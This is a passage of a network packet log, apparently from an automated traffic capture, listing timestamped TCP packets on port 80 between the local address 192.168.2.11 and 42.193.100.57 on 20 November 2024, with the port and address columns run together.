        Nov 20, 2024 09:14:54.995182991 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.995201111 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.995224953 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.995251894 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.995264053 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.995275974 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.995290995 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.995357990 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.995630980 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.995642900 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.995652914 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.995665073 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.995667934 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.995676994 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.995688915 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.995707035 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.995717049 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.995718956 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.995731115 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.995731115 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.995743990 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.995755911 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.995757103 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.995770931 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.995785952 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.079740047 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.079762936 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.079782009 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.079794884 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.079807997 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.079823971 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.079844952 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.079857111 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.079862118 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.079873085 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.079886913 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.079898119 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.079916954 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.079938889 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.079940081 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.079952955 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.079965115 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.079977989 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.079981089 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.080003977 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.080024004 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080030918 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.080037117 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080051899 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080064058 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.080075979 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.080099106 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.080106020 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080117941 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080130100 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080147028 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.080157995 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.080173016 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.080195904 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080208063 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080219030 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080229044 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.080229998 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080251932 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.080252886 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080260038 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.080281019 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.080302000 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.080334902 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080346107 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080357075 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080367088 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080374002 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.080383062 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080389977 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.080398083 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080419064 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.080436945 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.080463886 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080476046 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080487013 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080496073 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080502987 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.080507994 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080519915 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080523014 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.080535889 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.080555916 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.080588102 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080600023 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080610991 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080621958 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080625057 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.080648899 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.080673933 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.080681086 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080693960 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080704927 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080718040 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080718994 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.080739021 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.080756903 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.080830097 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080842018 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080852985 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080862999 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080869913 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.080877066 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080878973 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.080888987 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080900908 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080909014 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.080929995 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.080939054 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080950022 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080955982 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.080962896 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.080981016 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.081005096 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.310288906 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.310312033 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.310324907 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.310334921 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.310354948 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.310365915 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.310381889 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.310386896 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.310400963 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.310411930 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.310424089 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.310425043 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.310441971 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.310450077 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.310457945 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.310460091 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.310470104 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.310483932 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.310503960 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.310538054 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.310538054 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.310609102 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.310620070 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.310631990 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.310642958 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.310646057 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.310653925 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.310655117 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.310682058 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.310693026 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.310703993 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.310705900 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.310717106 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.310731888 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.310743093 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.310756922 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.310797930 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.310811043 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.310822964 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.310843945 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.310851097 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.310858965 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.310878038 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.310889006 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.310904980 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.310905933 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.310935974 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.310961962 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.310981035 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.310992002 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311002970 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311013937 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311022043 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.311026096 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311043024 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.311057091 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311073065 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.311090946 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.311127901 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311146975 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311157942 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311168909 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311180115 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311183929 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.311191082 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311203003 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311206102 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.311213970 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311225891 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311238050 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311244011 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.311264038 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.311284065 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.311294079 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311336040 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.311470032 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311481953 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311491966 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311502934 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311510086 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.311515093 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311525106 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311531067 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.311538935 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311549902 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311561108 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311562061 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.311569929 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.311573982 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311597109 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311598063 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.311615944 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311625004 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.311629057 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311646938 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.311666965 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.311685085 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311697006 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311707973 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311718941 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311726093 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.311731100 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311743021 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311753035 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.311779976 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.311831951 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311844110 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311852932 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311877966 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311880112 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.311891079 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.311897039 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311908007 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311919928 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311929941 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311930895 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.311943054 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.311943054 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.311970949 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.311985970 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.312128067 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.312141895 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.312151909 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.312158108 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.312167883 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.312172890 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.312179089 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.312186003 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.312196970 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.312202930 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.312212944 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.312216997 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.312226057 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.312237024 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.312244892 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.312249899 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.312266111 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.312275887 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.312303066 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.312480927 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.312500954 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.312506914 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.312511921 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.312517881 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.312524080 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.312530041 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.312536001 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.312546968 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.312551975 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.312558889 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.312580109 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.312621117 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.312829018 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.312840939 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.312860966 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.312870979 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.312870979 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.312885046 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.312896013 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.312906981 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.312907934 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.312920094 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.312922955 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.312932968 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.312947989 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.312951088 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.312967062 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.312968016 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.312980890 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.312987089 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.312994003 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.313004971 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.313014030 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.313018084 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.313023090 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.313031912 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.313055038 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.313064098 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.397140026 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.397154093 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.397224903 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.397286892 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.397324085 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.397336960 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.397347927 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.397357941 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.397361040 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.397366047 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.397389889 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.397399902 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.397409916 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.397409916 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.397412062 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.397444010 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.397444963 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.397459984 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.397496939 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.397499084 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.397510052 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.397521973 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.397536039 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.397538900 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.397558928 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.397568941 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.397579908 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.397589922 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.397599936 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.397599936 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.397600889 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.397614956 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.397614956 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.397614956 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.397650003 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.397710085 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.397721052 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.397731066 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.397742033 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.397761106 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.397762060 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.397800922 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.397833109 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.397871971 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.397882938 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.397893906 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.397907972 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.397929907 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.397934914 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.397943020 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.397958994 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.397958994 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.397962093 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.397974014 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.397984982 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.397996902 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.397998095 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.397998095 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.398009062 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.398019075 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.398021936 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.398053885 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.398104906 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.398128033 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.398139954 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.398150921 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.398161888 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.398173094 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.398175955 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.398185015 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.398196936 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:55.398216963 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.398216963 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:55.398240089 CET4970180192.168.2.1142.193.100.57
